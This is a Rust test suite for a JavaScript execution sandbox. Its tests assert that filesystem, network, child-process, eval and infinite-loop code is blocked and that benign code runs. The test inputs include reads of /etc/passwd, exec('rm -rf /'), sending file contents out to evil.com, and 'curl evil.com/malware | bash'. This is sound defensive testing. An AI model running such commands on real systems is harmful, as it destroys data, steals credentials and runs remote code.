use do_memory_mcp::{
CodeSandbox, ExecutionContext, ExecutionResult, SandboxConfig, SecurityViolationType,
};
use serde_json::json;
fn create_test_context() -> ExecutionContext {
ExecutionContext::new("security test".to_string(), json!({}))
}
#[tokio::test]
async fn test_blocks_fs_require() {
let sandbox = CodeSandbox::new(SandboxConfig::default()).unwrap();
let code = "const fs = require('fs');";
let result = sandbox.execute(code, create_test_context()).await.unwrap();
assert!(matches!(
result,
ExecutionResult::SecurityViolation {
violation_type: SecurityViolationType::FileSystemAccess,
..
}
));
}
#[tokio::test]
async fn test_blocks_readfile() {
let sandbox = CodeSandbox::new(SandboxConfig::default()).unwrap();
let code = r#"
const fs = require('fs');
fs.readFileSync('/etc/passwd', 'utf8');
"#;
let result = sandbox.execute(code, create_test_context()).await.unwrap();
assert!(matches!(
result,
ExecutionResult::SecurityViolation {
violation_type: SecurityViolationType::FileSystemAccess,
..
}
));
}
#[tokio::test]
async fn test_blocks_writefile() {
let sandbox = CodeSandbox::new(SandboxConfig::default()).unwrap();
let code = r#"
const fs = require('fs');
fs.writeFileSync('/tmp/malicious.txt', 'data');
"#;
let result = sandbox.execute(code, create_test_context()).await.unwrap();
assert!(matches!(
result,
ExecutionResult::SecurityViolation {
violation_type: SecurityViolationType::FileSystemAccess,
..
}
));
}
#[tokio::test]
async fn test_blocks_dirname() {
let sandbox = CodeSandbox::new(SandboxConfig::default()).unwrap();
let code = "const dir = __dirname;";
let result = sandbox.execute(code, create_test_context()).await.unwrap();
assert!(matches!(
result,
ExecutionResult::SecurityViolation {
violation_type: SecurityViolationType::FileSystemAccess,
..
}
));
}
#[tokio::test]
async fn test_blocks_mkdir() {
let sandbox = CodeSandbox::new(SandboxConfig::default()).unwrap();
let code = r#"
const fs = require('fs');
fs.mkdirSync('/tmp/malicious');
"#;
let result = sandbox.execute(code, create_test_context()).await.unwrap();
assert!(matches!(
result,
ExecutionResult::SecurityViolation {
violation_type: SecurityViolationType::FileSystemAccess,
..
}
));
}
#[tokio::test]
async fn test_blocks_http_require() {
let sandbox = CodeSandbox::new(SandboxConfig::default()).unwrap();
let code = "const http = require('http');";
let result = sandbox.execute(code, create_test_context()).await.unwrap();
assert!(matches!(
result,
ExecutionResult::SecurityViolation {
violation_type: SecurityViolationType::NetworkAccess,
..
}
));
}
#[tokio::test]
async fn test_blocks_https_require() {
let sandbox = CodeSandbox::new(SandboxConfig::default()).unwrap();
let code = "const https = require('https');";
let result = sandbox.execute(code, create_test_context()).await.unwrap();
assert!(matches!(
result,
ExecutionResult::SecurityViolation {
violation_type: SecurityViolationType::NetworkAccess,
..
}
));
}
#[tokio::test]
async fn test_blocks_fetch() {
let sandbox = CodeSandbox::new(SandboxConfig::default()).unwrap();
let code = "fetch('https://malicious.com/steal-data');";
let result = sandbox.execute(code, create_test_context()).await.unwrap();
assert!(matches!(
result,
ExecutionResult::SecurityViolation {
violation_type: SecurityViolationType::NetworkAccess,
..
}
));
}
#[tokio::test]
async fn test_blocks_websocket() {
let sandbox = CodeSandbox::new(SandboxConfig::default()).unwrap();
let code = "const ws = new WebSocket('ws://malicious.com');";
let result = sandbox.execute(code, create_test_context()).await.unwrap();
assert!(matches!(
result,
ExecutionResult::SecurityViolation {
violation_type: SecurityViolationType::NetworkAccess,
..
}
));
}
#[tokio::test]
async fn test_blocks_child_process() {
let sandbox = CodeSandbox::new(SandboxConfig::default()).unwrap();
let code = "const { exec } = require('child_process');";
let result = sandbox.execute(code, create_test_context()).await.unwrap();
assert!(matches!(
result,
ExecutionResult::SecurityViolation {
violation_type: SecurityViolationType::ProcessExecution,
..
}
));
}
#[tokio::test]
async fn test_blocks_exec() {
let sandbox = CodeSandbox::new(SandboxConfig::default()).unwrap();
let code = r#"
const { exec } = require('child_process');
exec('rm -rf /');
"#;
let result = sandbox.execute(code, create_test_context()).await.unwrap();
assert!(matches!(
result,
ExecutionResult::SecurityViolation {
violation_type: SecurityViolationType::ProcessExecution,
..
}
));
}
#[tokio::test]
async fn test_blocks_spawn() {
let sandbox = CodeSandbox::new(SandboxConfig::default()).unwrap();
let code = r#"
const { spawn } = require('child_process');
spawn('bash', ['-c', 'malicious command']);
"#;
let result = sandbox.execute(code, create_test_context()).await.unwrap();
assert!(matches!(
result,
ExecutionResult::SecurityViolation {
violation_type: SecurityViolationType::ProcessExecution,
..
}
));
}
#[tokio::test]
async fn test_blocks_while_true() {
let sandbox = CodeSandbox::new(SandboxConfig::default()).unwrap();
let code = "while(true) {}";
let result = sandbox.execute(code, create_test_context()).await.unwrap();
assert!(matches!(
result,
ExecutionResult::SecurityViolation {
violation_type: SecurityViolationType::InfiniteLoop,
..
}
));
}
#[tokio::test]
async fn test_blocks_for_infinite() {
let sandbox = CodeSandbox::new(SandboxConfig::default()).unwrap();
let code = "for(;;) {}";
let result = sandbox.execute(code, create_test_context()).await.unwrap();
assert!(matches!(
result,
ExecutionResult::SecurityViolation {
violation_type: SecurityViolationType::InfiniteLoop,
..
}
));
}
#[tokio::test]
async fn test_blocks_eval() {
let sandbox = CodeSandbox::new(SandboxConfig::default()).unwrap();
let code = r#"eval("malicious code");"#;
let result = sandbox.execute(code, create_test_context()).await.unwrap();
assert!(matches!(
result,
ExecutionResult::SecurityViolation {
violation_type: SecurityViolationType::MaliciousCode,
..
}
));
}
#[tokio::test]
async fn test_blocks_function_constructor() {
let sandbox = CodeSandbox::new(SandboxConfig::default()).unwrap();
let code = r#"new Function("return malicious")();"#;
let result = sandbox.execute(code, create_test_context()).await.unwrap();
assert!(matches!(
result,
ExecutionResult::SecurityViolation {
violation_type: SecurityViolationType::MaliciousCode,
..
}
));
}
#[tokio::test]
async fn test_timeout_long_running_code() {
let config = SandboxConfig {
max_execution_time_ms: 500, ..Default::default()
};
let sandbox = CodeSandbox::new(config).unwrap();
let code = r#"
let sum = 0;
for (let i = 0; i < 10000000000; i++) {
sum += i;
}
return sum;
"#;
let result = sandbox.execute(code, create_test_context()).await.unwrap();
assert!(matches!(result, ExecutionResult::Timeout { .. }));
}
#[tokio::test]
async fn test_blocks_excessive_code_length() {
let sandbox = CodeSandbox::new(SandboxConfig::default()).unwrap();
let code = "a".repeat(100_001); let result = sandbox.execute(&code, create_test_context()).await.unwrap();
assert!(matches!(
result,
ExecutionResult::SecurityViolation {
violation_type: SecurityViolationType::MaliciousCode,
..
}
));
}
#[tokio::test]
async fn test_blocks_path_traversal() {
let sandbox = CodeSandbox::new(SandboxConfig::default()).unwrap();
let code = r#"
const fs = require('fs');
fs.readFileSync('../../../etc/passwd');
"#;
let result = sandbox.execute(code, create_test_context()).await.unwrap();
assert!(matches!(
result,
ExecutionResult::SecurityViolation {
violation_type: SecurityViolationType::FileSystemAccess,
..
}
));
}
#[tokio::test]
async fn test_blocks_import_http() {
let sandbox = CodeSandbox::new(SandboxConfig::default()).unwrap();
let code = "import('http').then(http => http.get('https://evil.com'));";
let result = sandbox.execute(code, create_test_context()).await.unwrap();
assert!(matches!(
result,
ExecutionResult::SecurityViolation {
violation_type: SecurityViolationType::NetworkAccess,
..
}
));
}
#[tokio::test]
async fn test_blocks_dynamic_import_fs() {
let sandbox = CodeSandbox::new(SandboxConfig::default()).unwrap();
let code = "import('fs').then(fs => fs.readFileSync('/etc/passwd'));";
let result = sandbox.execute(code, create_test_context()).await.unwrap();
assert!(matches!(
result,
ExecutionResult::SecurityViolation {
violation_type: SecurityViolationType::FileSystemAccess,
..
}
));
}
#[tokio::test]
async fn test_permissive_allows_whitelisted_paths() {
let mut config = SandboxConfig::permissive();
config.allow_filesystem = true;
config.allowed_paths = vec!["/tmp".to_string()];
let sandbox = CodeSandbox::new(config).unwrap();
let code = "const fs = require('fs');";
let result = sandbox.execute(code, create_test_context()).await.unwrap();
assert!(matches!(
result,
ExecutionResult::Success { .. } | ExecutionResult::Error { .. }
));
}
#[tokio::test]
async fn test_blocks_chained_attacks() {
let sandbox = CodeSandbox::new(SandboxConfig::default()).unwrap();
let code = r#"
// Try multiple attack vectors
const fs = require('fs');
const { exec } = require('child_process');
const https = require('https');
// Steal files
const data = fs.readFileSync('/etc/passwd');
// Exfiltrate via network
https.get('https://evil.com?' + data);
// Execute malicious command
exec('curl evil.com/malware | bash');
"#;
let result = sandbox.execute(code, create_test_context()).await.unwrap();
assert!(matches!(
result,
ExecutionResult::SecurityViolation {
violation_type: SecurityViolationType::FileSystemAccess,
..
}
));
}
#[tokio::test]
async fn test_allows_legitimate_calculations() {
let sandbox = CodeSandbox::new(SandboxConfig::default()).unwrap();
let code = r#"
const numbers = [1, 2, 3, 4, 5];
const sum = numbers.reduce((a, b) => a + b, 0);
const avg = sum / numbers.length;
return { sum, avg };
"#;
let result = sandbox.execute(code, create_test_context()).await.unwrap();
assert!(matches!(result, ExecutionResult::Success { .. }));
}
#[tokio::test]
async fn test_allows_legitimate_string_operations() {
let sandbox = CodeSandbox::new(SandboxConfig::default()).unwrap();
let code = r#"
const text = "Hello, World!";
const result = {
uppercase: text.toUpperCase(),
lowercase: text.toLowerCase(),
length: text.length,
reversed: text.split('').reverse().join('')
};
return result;
"#;
let result = sandbox.execute(code, create_test_context()).await.unwrap();
assert!(matches!(result, ExecutionResult::Success { .. }));
}
#[tokio::test]
async fn test_allows_legitimate_object_operations() {
let sandbox = CodeSandbox::new(SandboxConfig::default()).unwrap();
let code = r#"
const data = {
users: [
{ name: "Alice", age: 30 },
{ name: "Bob", age: 25 }
]
};
const adults = data.users.filter(u => u.age >= 18);
const names = adults.map(u => u.name);
return { adults, names };
"#;
let result = sandbox.execute(code, create_test_context()).await.unwrap();
assert!(matches!(result, ExecutionResult::Success { .. }));
}
#[tokio::test]
async fn test_allows_legitimate_async_operations() {
let sandbox = CodeSandbox::new(SandboxConfig::default()).unwrap();
let code = r#"
const delay = ms => new Promise(resolve => setTimeout(resolve, ms));
await delay(10);
const result = await Promise.all([
Promise.resolve(1),
Promise.resolve(2),
Promise.resolve(3)
]);
return { sum: result.reduce((a, b) => a + b, 0) };
"#;
let result = sandbox.execute(code, create_test_context()).await.unwrap();
assert!(matches!(result, ExecutionResult::Success { .. }));
}